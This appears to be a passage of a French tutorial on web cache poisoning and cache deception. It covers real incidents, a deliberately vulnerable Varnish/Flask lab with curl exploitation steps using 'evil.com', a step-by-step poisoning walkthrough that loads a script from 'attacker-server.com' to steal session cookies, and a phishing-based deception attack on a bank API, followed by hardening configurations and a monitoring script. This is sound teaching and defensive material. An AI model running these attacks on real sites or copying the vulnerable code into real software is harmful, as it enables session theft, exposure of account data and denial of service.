La première démonstration publique du web cache deception a visé PayPal. Omer Gil a découvert que l'URL https://www.paypal.com/myaccount/home/attack.css était traitée par PayPal comme /myaccount/home (ignorant le segment attack.css), mais le CDN Akamai voyait l'extension .css et mettait la réponse en cache. En envoyant un lien vers cette URL à une victime connectée à PayPal, puis en accédant à la même URL, Gil pouvait récupérer les données du compte PayPal de la victime — solde, nom complet, adresse, numéro de carte partiellement masqué — depuis le cache.
GitHub : cache poisoning via CRLF injection
GitHub a été touché par une vulnérabilité de cache poisoning impliquant une injection CRLF. Un attaquant pouvait injecter des caractères \r\n dans certains paramètres d'URL, ce qui permettait d'ajouter des headers HTTP arbitraires dans la réponse. En injectant un header Set-Cookie ou un Location de redirection, l'attaquant empoisonnait le cache avec des réponses malveillantes. GitHub utilise Fastly comme CDN, et l'attaque a mis en évidence des problèmes dans la sanitisation des entrées avant la mise en cache.
Cloudflare : vulnérabilités au niveau de l'infrastructure CDN
Plusieurs bugs liés au cache ont été découverts dans l'infrastructure Cloudflare elle-même. En 2023, des chercheurs ont identifié que Cloudflare ne traitait pas correctement certains chemins avec des encodages URL doubles (%252F). Le double encodage n'était décodé qu'une fois par Cloudflare (transformant %252F en %2F dans la cache key) mais deux fois par certains serveurs backend (transformant %252F en /). Cette divergence créait des opportunités de path confusion pour le WCD.
Un autre bug Cloudflare concernait le traitement de la requête de purge de cache. Certaines variations de l'API de purge permettaient de purger sélectivement des entrées de cache, facilitant le timing de l'empoisonnement : l'attaquant pouvait forcer l'expiration d'une entrée spécifique juste avant d'envoyer sa requête d'empoisonnement.
Cache poisoning massif via CDN-level attacks
En 2020-2021, des attaques de cache poisoning au niveau CDN ont touché plusieurs services utilisant des configurations CDN par défaut. Le scénario typique : un service SaaS utilise un CDN avec des règles de cache standard. L'attaquant identifie que le CDN met en cache les réponses d'erreur (403, 404) avec un TTL significatif. En déclenchant une erreur spécifique via un unkeyed input (par exemple un header surdimensionné qui provoque un 400 Bad Request), l'attaquant empoisonne le cache avec une page d'erreur qui remplace le contenu légitime. C'est un déni de service (DoS) par empoisonnement de cache, potentiellement durable car certains CDN cachent les erreurs pendant des heures.
Attaque CPDoS (Cache Poisoned Denial of Service)
Les attaques CPDoS, formalisées par des chercheurs de l'Université de Cologne, exploitent trois variantes principales :
| Variante | Mécanisme | CDN vulnérables |
|---|---|---|
| HTTP Header Oversize (HHO) | Header surdimensionné déclenche 400 au backend, le CDN cache l'erreur | CloudFront, Cloudflare (corrigé) |
| HTTP Meta Character (HMC) | Caractères de contrôle dans un header provoquent une erreur backend | Varnish, CDN77, Fastly |
| HTTP Method Override (HMO) | Header X-HTTP-Method-Override: DELETE transforme un GET en DELETE | Akamai, CDN77, Fastly |
Le CPDoS est particulièrement dangereux car il ne nécessite pas que l'input soit reflété dans la réponse — il suffit qu'il provoque une erreur que le cache stocke. Cela rend la surface d'attaque beaucoup plus large que le cache poisoning classique basé sur la réflexion.
Les cas réels démontrent un pattern récurrent : la complexité des architectures multicouches (client → CDN → load balancer → reverse proxy → application) crée inévitablement des divergences dans le traitement des requêtes HTTP. Chaque couche applique sa propre logique de parsing, de normalisation et de routage, et les écarts entre ces logiques sont la matière première des attaques de cache.
Impact des attaques de cache
Stored XSS via cache poisoning
L'impact le plus critique du cache poisoning est la transformation d'une réflexion de header (non exploitable directement car elle nécessite la maîtrise du header dans la requête) en un stored XSS (XSS stocké). Normalement, manipuler un header HTTP nécessite de contrôler le logiciel client — ce qu'un attaquant ne peut pas faire sur le navigateur d'une victime. Mais en empoisonnant le cache, l'attaquant contourne cette limitation : le payload XSS est « stocké » dans le cache et servi à tout visiteur, sans que celui-ci ait besoin d'envoyer un header spécial.
L'exploitation concrète d'un stored XSS via cache poisoning permet :
Vol de session : Le JavaScript malveillant exfiltre les cookies de session vers un serveur contrôlé par l'attaquant. Si les cookies n'ont pas le flag HttpOnly, l'attaquant obtient un accès immédiat au compte de la victime.
Keylogging : Le script injecte un keylogger qui capture toutes les frappes clavier sur la page — identifiants, mots de passe, numéros de carte bancaire. Sur une page de login ou de paiement empoisonnée, l'impact est dévastateur.
Redirection de formulaires : Le script modifie l'attribut action des formulaires pour envoyer les données soumises vers un serveur de l'attaquant, tout en les transmettant ensuite au serveur légitime pour que l'utilisateur ne remarque rien.
Cryptomining : Injection de scripts de minage de cryptomonnaies (type Coinhive) qui utilisent les ressources CPU des visiteurs. Sur un site à fort trafic, le gain peut être significatif.
Account takeover via cache deception
Le web cache deception permet un account takeover (prise de contrôle de compte) en plusieurs étapes. L'attaquant force la mise en cache d'une page contenant un token CSRF, un token de réinitialisation de mot de passe, ou un token API de la victime. En récupérant ces tokens depuis le cache, il peut :
Changer le mot de passe du compte via le formulaire de réinitialisation (en utilisant le CSRF token volé). Accéder à l'API au nom de la victime via un token API ou un bearer token exposé dans une page de paramètres. Modifier l'adresse email associée au compte pour prendre le contrôle permanent. L'attaque est d'autant plus dangereuse qu'elle ne laisse aucune trace suspecte dans les logs du serveur : la requête de la victime et celle de l'attaquant sont toutes les deux des requêtes GET légitimes vers des URL apparemment normales.
Defacement et atteinte à la réputation
Le cache poisoning peut servir à des attaques de defacement à grande échelle. En empoisonnant la page d'accueil ou les pages les plus visitées d'un site, l'attaquant peut afficher du contenu offensant, des messages politiques, ou de fausses informations. L'empoisonnement persiste pendant toute la durée du TTL du cache, et l'attaquant peut le renouveler continuellement. Pour un site d'actualités, bancaire ou gouvernemental, l'impact sur la confiance des utilisateurs est considérable.
Denial of Service (DoS) via cache
Les attaques CPDoS (Cache Poisoned Denial of Service) permettent de rendre un site inaccessible sans avoir besoin d'une bande passante massive. En empoisonnant les entrées de cache des pages critiques avec des réponses d'erreur, l'attaquant bloque l'accès à tout le contenu pendant la durée du TTL. Contrairement à un DDoS volumétrique qui nécessite une infrastructure d'attaque importante, un CPDoS ne nécessite qu'une seule requête par page ciblée.
La purge du cache est souvent la seule remédiation immédiate, mais si l'attaquant re-empoisonne automatiquement après chaque purge, le site reste effectivement en panne. Certains CDN offrent des mécanismes de protection (comme le « shield origin » de Cloudflare qui limite les requêtes à l'origine), mais ceux-ci peuvent paradoxalement amplifier l'impact du DoS en empêchant les requêtes légitimes d'atteindre le serveur pendant que l'entrée de cache empoisonnée est servie.
Lab pratique : mise en place et exploitation
PortSwigger Web Security Academy
Les labs PortSwigger offrent l'environnement d'apprentissage le plus complet pour le cache poisoning et la cache deception. Les labs progressent en difficulté :
Labs de base : Web cache poisoning with an unkeyed header (exploiter X-Forwarded-Host pour injecter un script). Cache poisoning with an unkeyed cookie. Cache poisoning with multiple headers (combiner X-Forwarded-Scheme et X-Forwarded-Host).
Labs intermédiaires : Targeted web cache poisoning using an unknown header. Web cache poisoning via a fat GET request. URL normalization attack via cache poisoning.
Labs avancés : Web cache poisoning to exploit a DOM vulnerability via a cache with strict cacheability criteria. Combining web cache poisoning vulnerabilities. Cache poisoning via HTTP request smuggling.
Labs Web Cache Deception : Exploiting path mapping for web cache deception. Exploiting path delimiters for web cache deception. Exploiting origin server normalization for web cache deception.
Setup local avec Varnish et Nginx
Pour un environnement de test contrôlé, voici comment configurer un lab local avec Varnish comme cache devant un serveur Nginx :
# docker-compose.yml - Lab Web Cache Poisoning
version: '3.8'
services:
varnish:
image: varnish:7.4
ports:
- "8080:80"
volumes:
- ./varnish/default.vcl:/etc/varnish/default.vcl
depends_on:
- nginx
command: >
varnishd -F
-a :80
-f /etc/varnish/default.vcl
-s malloc,256m
nginx:
image: nginx:1.25
volumes:
- ./nginx/nginx.conf:/etc/nginx/nginx.conf
- ./app:/usr/share/nginx/html
expose:
- "80"
backend:
build: ./backend
expose:
- "3000"
# varnish/default.vcl - Configuration vulnérable intentionnelle
vcl 4.1;
backend default {
.host = "nginx";
.port = "80";
}
sub vcl_recv {
# Cache key basée uniquement sur host + URL (vulnérable)
# Les headers comme X-Forwarded-Host ne sont PAS dans la clé
set req.http.X-Cache-Key = req.http.host + req.url;
# Mettre en cache les GET et HEAD uniquement
if (req.method != "GET" && req.method != "HEAD") {
return (pass);
}
# Ne pas cacher si Cookie présent (mais laisser passer le header au backend)
# VULNÉRABLE : on cache les réponses sans considérer tous les inputs
if (req.http.Authorization) {
return (pass);
}
return (hash);
}
sub vcl_hash {
hash_data(req.url);
hash_data(req.http.host);
# PAS de hash_data sur X-Forwarded-Host → unkeyed input
return (lookup);
}
sub vcl_backend_response {
# Cacher les réponses statiques agressivement
if (bereq.url ~ "\.(css|js|png|jpg|gif|ico|svg|woff2)$") {
set beresp.ttl = 1h;
unset beresp.http.Set-Cookie;
}
# Cacher les pages HTML 5 minutes
if (beresp.http.Content-Type ~ "text/html") {
set beresp.ttl = 5m;
}
# VULNÉRABLE : cacher les erreurs aussi
if (beresp.status == 400 || beresp.status == 403) {
set beresp.ttl = 1m;
}
}
sub vcl_deliver {
# Ajouter des headers de diagnostic
if (obj.hits > 0) {
set resp.http.X-Cache = "HIT";
set resp.http.X-Cache-Hits = obj.hits;
} else {
set resp.http.X-Cache = "MISS";
}
}
# backend/app.py - Application vulnérable (Flask)
from flask import Flask, request, render_template_string
app = Flask(__name__)
TEMPLATE = """
<!DOCTYPE html>
<html>
<head>
<title>Lab Cache Poisoning</title>
<link rel="stylesheet" href="https://{{ cdn_host }}/static/style.css">
<script src="https://{{ cdn_host }}/static/analytics.js"></script>
</head>
<body>
<h1>Bienvenue</h1>
<p>Langue : {{ lang }}</p>
<p>Callback : {{ callback }}</p>
</body>
</html>
"""
@app.route('/')
def index():
# VULNÉRABLE : utilise X-Forwarded-Host pour les URL de ressources
cdn_host = request.headers.get('X-Forwarded-Host', request.host)
lang = request.headers.get('Accept-Language', 'fr')
callback = request.args.get('callback', 'defaultCallback')
return render_template_string(TEMPLATE,
cdn_host=cdn_host,
lang=lang,
callback=callback)
@app.route('/api/data')
def api_data():
callback = request.args.get('callback', 'cb')
# Fat GET vulnérable
if request.data:
import json
try:
body = json.loads(request.data)
callback = body.get('callback', callback)
except:
pass
return f'{callback}({{"user": "data"}})', 200, {'Content-Type': 'application/javascript'}
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000)
Pour exploiter ce lab, l'attaquant envoie la requête suivante :
# Étape 1 : Identifier l'unkeyed input
curl -s -D- "http://localhost:8080/" \
-H "X-Forwarded-Host: evil.com" | head -30
# Étape 2 : Vérifier la réflexion
# La réponse devrait contenir : src="https://evil.com/static/analytics.js"
# Étape 3 : Attendre le MISS et empoisonner
curl -s -D- "http://localhost:8080/" \
-H "X-Forwarded-Host: evil.com"
# Vérifier X-Cache: MISS → la réponse est maintenant cachée
# Étape 4 : Vérifier l'empoisonnement
curl -s -D- "http://localhost:8080/"
# Sans le header X-Forwarded-Host, la réponse devrait toujours
# contenir evil.com → empoisonnement confirmé (X-Cache: HIT)
# Étape 5 : Test CPDoS
curl -s -D- "http://localhost:8080/important-page" \
-H "X-Oversized-Header: $(python3 -c 'print("A"*16000)')"
# Si le backend retourne 400 et que Varnish cache l'erreur → DoS
Exercices d'exploitation recommandés
Pour progresser dans la maîtrise des attaques de cache, voici une série d'exercices structurés à réaliser sur le lab local ou sur les labs PortSwigger :
Exercice 1 : Empoisonner une page de login avec un XSS via X-Forwarded-Host. Objectif : voler les identifiants saisis par les utilisateurs.
Exercice 2 : Réaliser un cache deception sur une page de profil en utilisant le point-virgule comme délimiteur. Objectif : récupérer l'email et le nom d'un autre utilisateur.
Exercice 3 : Combiner le HTTP request smuggling CL.TE avec le cache poisoning. Objectif : empoisonner une page sans envoyer directement le header malveillant.
Exercice 4 : Réaliser une attaque CPDoS HHO (Header Oversize). Objectif : rendre la page d'accueil inaccessible pendant 5 minutes.
Exercice 5 : Exploiter une divergence de normalisation de chemin entre le cache et le serveur. Objectif : mettre en cache une page dynamique authentifiée.
Défense et mitigation
Design sécurisé des cache keys
La première ligne de défense consiste à concevoir des cache keys qui incluent tous les inputs qui influencent la réponse. Le principe est simple mais sa mise en œuvre est délicate : chaque input ajouté à la clé réduit le taux de hit du cache.
Stratégie 1 — Inventory des inputs : Auditer systématiquement tous les headers, cookies et paramètres que l'application utilise pour générer ses réponses. Chaque input identifié doit soit être inclus dans la cache key, soit être ignoré par le serveur (ce qui est préférable quand c'est possible).
Stratégie 2 — Élimination des unkeyed inputs côté serveur : Plutôt que d'ajouter des headers exotiques à la cache key (ce qui complexifie la configuration), modifier l'application pour ne pas utiliser ces headers. Par exemple, au lieu de lire X-Forwarded-Host pour construire des URL, utiliser une variable de configuration statique avec le nom de domaine du site.
Stratégie 3 — Cache key stricte avec exceptions : Configurer le cache pour inclure par défaut tous les headers dans la clé, puis exclure explicitement les headers qui ne doivent pas en faire partie (Accept-Encoding est généralement le seul candidat légitime). Cette approche « deny by default » est plus sûre que l'approche classique « allow by default ».
Utilisation correcte des headers Vary
Le header Vary est l'outil standard HTTP pour signaler au cache quels headers de requête influencent la réponse. Si votre application génère du contenu différent selon Accept-Language, la réponse doit inclure Vary: Accept-Language. Si le contenu dépend du cookie de langue, Vary: Cookie (mais attention : cela rend le cache quasi-inutile car chaque session a un cookie différent).
Pour les applications qui personnalisent le contenu selon l'utilisateur, les stratégies de cache segmenté sont préférables au Vary: Cookie :
# Nginx - Cache segmenté par type d'utilisateur au lieu de Vary: Cookie
map $cookie_user_type $cache_segment {
default "anonymous";
"premium" "premium";
"admin" "admin";
~^.+$ "authenticated";
}
proxy_cache_key "$scheme$request_method$host$request_uri$cache_segment";
# Cacher uniquement les réponses pour les utilisateurs anonymes
location / {
proxy_pass http://backend;
proxy_cache my_cache;
# Ne pas cacher si l'utilisateur est authentifié
proxy_cache_bypass $cookie_session;
proxy_no_cache $cookie_session;
# Ajouter des headers de diagnostic
add_header X-Cache-Status $upstream_cache_status;
add_header X-Cache-Segment $cache_segment;
}
Protection contre le cache deception
La protection contre le WCD nécessite des mesures à plusieurs niveaux :
Côté application : S'assurer que le serveur retourne Cache-Control: no-store, private sur toutes les réponses contenant des données spécifiques à l'utilisateur. Implémenter un routage strict qui retourne 404 pour les chemins non reconnus au lieu de fallback sur le contrôleur parent. Rejeter les requêtes avec des extensions de fichier statique sur des routes dynamiques.
Côté cache/CDN : Ne pas se fier uniquement à l'extension de fichier pour décider du caching. Respecter les directives Cache-Control du serveur d'origine. Configurer des règles de cache explicites plutôt que des wildcard. Vérifier le Content-Type de la réponse : si une URL se terminant par .css retourne du text/html, ne pas la cacher.
# Varnish VCL - Protection contre le WCD
sub vcl_backend_response {
# Ne JAMAIS cacher si no-store est présent
if (beresp.http.Cache-Control ~ "no-store" ||
beresp.http.Cache-Control ~ "private") {
set beresp.uncacheable = true;
return (deliver);
}
# Protection WCD : vérifier la cohérence extension/Content-Type
if (bereq.url ~ "\.(css|js)$" &&
beresp.http.Content-Type ~ "text/html") {
# Incohérence : URL statique mais réponse HTML → ne pas cacher
set beresp.uncacheable = true;
set beresp.http.X-WCD-Protection = "blocked";
return (deliver);
}
# Ne pas cacher les réponses avec Set-Cookie
if (beresp.http.Set-Cookie) {
set beresp.uncacheable = true;
return (deliver);
}
# Ne pas cacher les erreurs
if (beresp.status >= 400) {
set beresp.uncacheable = true;
return (deliver);
}
}
Sanitisation des headers
Supprimer ou sanitiser les headers dangereux au niveau du reverse proxy avant qu'ils n'atteignent l'application :
# Nginx - Supprimer les headers dangereux
proxy_set_header X-Forwarded-Host "";
proxy_set_header X-Forwarded-Scheme "";
proxy_set_header X-Forwarded-Proto $scheme; # Valeur contrôlée
proxy_set_header X-Original-URL "";
proxy_set_header X-Rewrite-URL "";
proxy_set_header X-HTTP-Method-Override "";
# Bloquer les requêtes avec des headers surdimensionnés (protection CPDoS)
large_client_header_buffers 4 8k; # Rejeter les headers > 8 KB
WAF rules spécifiques au cache poisoning
Les Web Application Firewalls peuvent détecter et bloquer certaines tentatives de cache poisoning :
Règle 1 : Bloquer les requêtes GET avec un corps (fat GET). La RFC HTTP n'interdit pas un corps dans un GET, mais c'est un indicateur fort d'attaque.
Règle 2 : Limiter la taille des headers de requête. Des headers dépassant 4 KB sont rarement légitimes et sont souvent des tentatives de CPDoS.
Règle 3 : Détecter les valeurs suspectes dans les headers de forwarding. Si X-Forwarded-Host contient un domaine différent de celui du site, c'est suspect (sauf si le header est défini par un proxy de confiance).
Règle 4 : Alerter sur les divergences entre la cache key et la réponse. Si la réponse contient des URL vers un domaine différent de celui de la requête, c'est un indicateur potentiel d'empoisonnement.
Principe de défense en profondeur contre le cache poisoning : (1) Supprimer les headers dangereux au proxy, (2) Ne pas utiliser d'unkeyed inputs côté application, (3) Configurer Cache-Control: no-store sur les pages sensibles, (4) Vérifier la cohérence Content-Type vs extension dans les règles de cache, (5) Ne jamais cacher les réponses d'erreur, (6) Monitorer les anomalies dans les headers X-Cache.
Sécurité CDN : configurations avancées
Cloudflare : configuration sécurisée
Cloudflare est le CDN le plus répandu, protégeant plus de 20% du trafic web mondial. Sa configuration par défaut est relativement sûre, mais certaines fonctionnalités nécessitent une attention particulière pour prévenir le cache poisoning.
Cache Rules : Cloudflare permet de définir des règles de cache granulaires via le dashboard ou l'API. Pour se protéger contre le WCD, il est crucial de ne cacher que les chemins et extensions explicitement autorisés, plutôt que d'utiliser des règles « catch-all » basées uniquement sur les extensions.
# Cloudflare API - Configuration de cache rules sécurisées
# (via API v4 ou dashboard Cloudflare)
# Règle 1 : Cacher uniquement les ressources statiques dans /static/
# Match: URI Path starts with "/static/"
# Action: Cache, TTL 1 heure, Edge TTL 24 heures
# Règle 2 : Ne jamais cacher les routes API
# Match: URI Path starts with "/api/"
# Action: Bypass Cache
# Règle 3 : Ne jamais cacher les pages authentifiées
# Match: Cookie contains "session"
# Action: Bypass Cache
# Règle 4 : Page Rules pour les assets avec validation Content-Type
# Match: *.example.com/assets/*
# Settings: Cache Level = Cache Everything,
# Origin Cache Control = ON (respecter les directives du serveur)
Transform Rules : Les Transform Rules de Cloudflare permettent de modifier ou supprimer les headers de requête avant qu'ils n'atteignent le serveur d'origine. C'est l'endroit idéal pour éliminer les headers dangereux comme X-Forwarded-Host quand ils ne sont pas définis par Cloudflare lui-même.
Cache Reserve et Tiered Cache : Ces fonctionnalités premium centralisent le cache, ce qui réduit le nombre de PoPs à empoisonner mais augmente l'impact d'un empoisonnement réussi. Activer Tiered Cache avec un « upper tier » proche de l'origine signifie qu'un seul empoisonnement au niveau de l'upper tier affecte tous les PoPs en aval.
Akamai : configuration sécurisée
Akamai, leader historique du CDN pour les entreprises, offre un contrôle très fin sur le comportement du cache via sa plateforme Property Manager.
Cache Key Customization : Akamai permet d'ajouter des headers spécifiques à la cache key via les paramètres de « Caching ». Il est recommandé d'inclure dans la clé tout header que l'application utilise pour personnaliser la réponse. Le paramètre « Include query string parameters » doit être configuré pour n'inclure que les paramètres pertinents, pas la query string entière, afin d'éviter le cache busting non désiré.
Modify Outgoing Request Header : Cette fonctionnalité permet de supprimer les headers malveillants avant de les transmettre à l'origine. Supprimer systématiquement X-Forwarded-Host, X-Original-URL, et X-Rewrite-URL sauf si l'application les nécessite explicitement.
Content Targeting : Akamai peut conditionner le caching sur le Content-Type de la réponse, offrant une protection native contre le WCD. Si une requête pour /profile/x.css retourne du text/html, Akamai peut être configuré pour ne pas cacher cette réponse.
Fastly : configuration sécurisée
Fastly utilise Varnish en interne et expose la puissance de VCL à ses clients, offrant le plus haut niveau de personnalisation parmi les CDN majeurs.
Custom VCL : Les clients Fastly peuvent écrire du VCL personnalisé pour contrôler chaque aspect du comportement du cache. Cela permet d'implémenter des protections très spécifiques comme la vérification de cohérence extension/Content-Type, le blocage des fat GET, ou l'ajout de headers arbitraires à la cache key.
Shielding : Le « shielding » de Fastly (équivalent du tiered cache) route toutes les requêtes vers un PoP central avant l'origine. Comme mentionné pour Cloudflare, c'est à double tranchant pour la sécurité du cache. Activer le shielding avec des règles VCL de sanitisation au niveau du shield PoP offre un bon compromis.
# Fastly VCL personnalisé - Protection cache poisoning
sub vcl_recv {
# Supprimer les headers dangereux des requêtes client
unset req.http.X-Forwarded-Host;
unset req.http.X-Forwarded-Scheme;
unset req.http.X-Original-URL;
unset req.http.X-Rewrite-URL;
unset req.http.X-HTTP-Method-Override;
# Bloquer les fat GET
if (req.method == "GET" && req.body) {
error 400 "Bad Request";
}
# Normaliser le chemin (protection WCD)
# Supprimer les paramètres de chemin (point-virgule)
set req.url = regsuball(req.url, ";[^/]*", "");
# Rejeter les doubles extensions suspectes
if (req.url ~ "\.[a-z]+\.[a-z]+$" && req.url !~ "\.(tar\.gz|min\.js|min\.css)$") {
error 400 "Bad Request";
}
}
sub vcl_fetch {
# Ne pas cacher si incohérence extension/Content-Type
if (req.url ~ "\.(css|js|png|jpg|gif|svg|woff2)$" &&
beresp.http.Content-Type ~ "text/html") {
set beresp.cacheable = false;
return(pass);
}
# Respecter strictement no-store
if (beresp.http.Cache-Control ~ "no-store") {
set beresp.cacheable = false;
return(pass);
}
}
Monitoring et détection d'empoisonnement
La détection proactive d'un empoisonnement de cache nécessite un monitoring continu. Les signaux d'alerte incluent :
Anomalies dans les headers de réponse : Vérifier périodiquement que les réponses cachées contiennent les headers attendus et ne contiennent pas de domaines externes inattendus dans les URL. Un script de monitoring peut comparer les réponses avec une référence connue.
Taux d'erreur inhabituel : Un pic soudain d'erreurs 4xx ou 5xx sur des URLs normalement fonctionnelles peut indiquer un empoisonnement CPDoS.
Intégrité du contenu : Calculer et comparer les hashes des réponses cachées. Si le hash d'une page change sans déploiement correspondant, c'est suspect.
#!/usr/bin/env python3
"""
Cache Integrity Monitor
Vérifie périodiquement l'intégrité des réponses cachées
"""
import requests
import hashlib
import json
import time
import smtplib
from email.message import EmailMessage
URLS_TO_MONITOR = [
"https://example.com/",
"https://example.com/login",
"https://example.com/pricing",
]
KNOWN_GOOD_HASHES = {} # Rempli au premier run
ALERT_EMAIL = "security@example.com"
CHECK_INTERVAL = 60 # secondes
def get_response_hash(url):
"""Obtient le hash de la réponse et vérifie les indicateurs suspects"""
r = requests.get(url, headers={"Cache-Control": "no-cache"})
body_hash = hashlib.sha256(r.content).hexdigest()
suspicious = []
# Vérifier les domaines externes inattendus dans le HTML
if r.headers.get("Content-Type", "").startswith("text/html"):
import re
external_domains = re.findall(r'(?:src|href|action)=["\']https?://([^/"\']+)', r.text)
expected_domains = {"example.com", "cdn.example.com", "fonts.googleapis.com"}
unexpected = set(external_domains) - expected_domains
if unexpected:
suspicious.append(f"Domaines externes inattendus: {unexpected}")
# Vérifier le Content-Type vs l'extension
if url.endswith(('.css', '.js')) and 'text/html' in r.headers.get('Content-Type', ''):
suspicious.append("Incohérence Content-Type/extension")
return body_hash, suspicious, r.status_code
def alert(url, reason):
"""Envoie une alerte de sécurité"""
print(f"[ALERT] {url}: {reason}")
# Implémenter l'envoi d'email ou webhook Slack
def monitor():
print("[*] Cache Integrity Monitor - Démarrage")
# Initialiser les hashes de référence
for url in URLS_TO_MONITOR:
h, _, _ = get_response_hash(url)
KNOWN_GOOD_HASHES[url] = h
print(f"[+] Baseline: {url} = {h[:16]}...")
while True:
time.sleep(CHECK_INTERVAL)
for url in URLS_TO_MONITOR:
h, suspicious, status = get_response_hash(url)
if suspicious:
alert(url, f"Indicateurs suspects: {suspicious}")
if h != KNOWN_GOOD_HASHES.get(url) and status == 200:
alert(url, f"Hash changé: {KNOWN_GOOD_HASHES[url][:16]} → {h[:16]}")
if status >= 400:
alert(url, f"Status code inattendu: {status} (possible CPDoS)")
if __name__ == "__main__":
monitor()
Études de cas approfondies : exploitation pas à pas
Exploitation complète d'un cache poisoning via X-Forwarded-Host
Prenons l'exemple d'un site e-commerce fictif shop.example.com utilisant Cloudflare comme CDN et une application Django en backend. Le site charge ses fichiers JavaScript depuis le même domaine, et l'application utilise le header X-Forwarded-Host (reçu du load balancer interne) pour construire les URL absolues dans les balises <script>.
Phase de reconnaissance : L'attaquant commence par identifier la technologie de cache. Les headers de réponse contiennent CF-Ray, CF-Cache-Status et Server: cloudflare, confirmant l'utilisation de Cloudflare. Il observe que les pages HTML ont CF-Cache-Status: HIT avec un Age variant entre 0 et 300 secondes, indiquant un TTL de 5 minutes. Les ressources statiques (.js, .css) ont un TTL beaucoup plus long (plusieurs heures).
Phase d'identification des unkeyed inputs : L'attaquant lance Param Miner sur la page d'accueil avec un cache buster (?cbpm=randomvalue). Après quelques minutes, Param Miner signale que le header X-Forwarded-Host est reflété dans la réponse. L'attaquant vérifie manuellement en envoyant la requête suivante dans Burp Repeater :
GET /?cbpm=test123 HTTP/1.1
Host: shop.example.com
X-Forwarded-Host: attacker-test.com
HTTP/1.1 200 OK
CF-Cache-Status: MISS
Cache-Control: public, max-age=300
...
<script src="https://attacker-test.com/static/js/app.bundle.js"></script>
...
Le header X-Forwarded-Host est bien reflété dans l'attribut src d'une balise <script>. C'est un vecteur d'injection de script parfait. Le status CF-Cache-Status: MISS indique que la réponse est cacheable (elle sera mise en cache au prochain accès identique) mais n'est pas encore cachée (grâce au cache buster).
Phase de préparation du payload : L'attaquant configure un serveur web sur attacker-server.com et héberge un fichier /static/js/app.bundle.js contenant un payload JavaScript malveillant qui exfiltre les cookies de session et les données du DOM. Il configure les headers CORS appropriés pour que le script se charge sans erreur.
Phase d'empoisonnement : L'attaquant attend que l'entrée de cache pour la page d'accueil expire (il surveille le header Age et envoie sa requête quand Age approche de 300, indiquant une expiration imminente). Dès que CF-Cache-Status repasse à MISS, il envoie sa requête d'empoisonnement sans cache buster cette fois :
GET / HTTP/1.1
Host: shop.example.com
X-Forwarded-Host: attacker-server.com
HTTP/1.1 200 OK
CF-Cache-Status: MISS
Age: 0
Cache-Control: public, max-age=300
...
<script src="https://attacker-server.com/static/js/app.bundle.js"></script>
...
Phase de vérification : L'attaquant envoie une requête normale sans le header malveillant et vérifie que la réponse empoisonnée est servie depuis le cache :
GET / HTTP/1.1
Host: shop.example.com
HTTP/1.1 200 OK
CF-Cache-Status: HIT
Age: 3
...
<script src="https://attacker-server.com/static/js/app.bundle.js"></script>
...
L'empoisonnement est confirmé : le CF-Cache-Status: HIT confirme que la réponse vient du cache, et elle contient le domaine de l'attaquant. Pendant les 5 minutes suivantes (TTL restant), chaque visiteur de la page d'accueil chargera et exécutera le script de l'attaquant. L'attaquant peut automatiser le renouvellement de l'empoisonnement à chaque expiration du TTL pour maintenir un accès persistant.
Exploitation d'un web cache deception via path confusion sur une API REST
Considérons une application bancaire en ligne utilisant un framework Spring Boot derrière Akamai. L'API REST expose un endpoint /api/v1/user/me qui retourne les informations du compte de l'utilisateur authentifié (nom, email, IBAN, solde). Akamai est configuré pour mettre en cache les réponses des fichiers statiques basé sur leur extension.
L'attaquant découvre que Spring Boot traite le point-virgule comme un délimiteur de paramètre de chemin (path parameter, aussi appelé matrix parameter dans la spécification JAX-RS). Ainsi, la requête GET /api/v1/user/me;x.js est routée par Spring Boot vers le handler de /api/v1/user/me car ;x.js est interprété comme un paramètre de chemin et ignoré pour le routage. Cependant, Akamai voit un chemin se terminant par .js et applique ses règles de cache pour les fichiers JavaScript.
L'attaque se déroule comme suit. L'attaquant envoie un email de phishing à la victime contenant un lien invisible (par exemple dans une image de 1 pixel) vers https://bank.example.com/api/v1/user/me;x.js. Quand la victime clique ou charge l'email, son navigateur envoie une requête authentifiée (avec le cookie de session) vers cette URL. Spring Boot traite la requête normalement et retourne les données du compte. Akamai voit l'extension .js et met la réponse en cache. L'attaquant accède ensuite à la même URL (sans authentification) et récupère les données bancaires de la victime depuis le cache Akamai. Tout cela sans aucune alerte côté serveur, car les deux requêtes sont des GET légitimes.
Intégration avec d'autres vulnérabilités web
Le cache poisoning et la cache deception ne sont pas des vulnérabilités isolées. Ils s'intègrent dans l'écosystème des attaques web et peuvent amplifier ou être amplifiés par d'autres failles.
Cache poisoning + SSRF
Une vulnérabilité SSRF sur un serveur derrière un CDN peut être combinée avec le cache poisoning. Si le serveur est vulnérable au SSRF via un header (par exemple, il fait un fetch vers l'URL spécifiée dans un header X-Resource-URL), l'attaquant peut empoisonner le cache avec la réponse de la requête SSRF — exposant des données internes (metadata services cloud, APIs internes) à tous les visiteurs du site.
Cache poisoning + injection SQL
Une injection SQL dans un paramètre qui ne fait pas partie de la cache key permet d'empoisonner le cache avec les résultats de l'injection. L'attaquant exfiltre des données via le contenu de la page empoisonnée, visible par n'importe qui accédant à l'URL cachée. C'est particulièrement utile pour des injections en aveugle (blind SQL injection) où l'attaquant n'a normalement pas de canal de sortie direct.
Cache deception + CSRF
Le web cache deception peut exposer des tokens CSRF qui sont normalement inaccessibles à l'attaquant. En forçant la mise en cache d'une page contenant un formulaire avec un token CSRF, puis en récupérant ce token, l'attaquant peut lancer des attaques CSRF ciblées qui seraient autrement impossibles.
Cache poisoning + open redirect
Un open redirect combiné avec le cache poisoning crée une chaîne d'attaque dévastatrice. L'attaquant empoisonne une page de confiance (par exemple la page d'accueil) avec une redirection vers un site de phishing. Tous les utilisateurs qui visitent la page sont automatiquement redirigés, et l'URL de départ étant celle du site légitime, les victimes ne se méfient pas.
Considérations légales et éthiques
Le cache poisoning en environnement de production soulève des questions légales et éthiques importantes que tout professionnel de la sécurité doit prendre en compte. Contrairement à une XSS réflective qui n'affecte que l'utilisateur ciblé, un cache poisoning réussi impacte potentiellement tous les utilisateurs du site pendant la durée du TTL. Même lors d'un test autorisé (pentest mandaté), un empoisonnement non maîtrisé peut provoquer des dommages collatéraux considérables — utilisateurs redirigés vers des sites malveillants, sessions volées, données exposées.
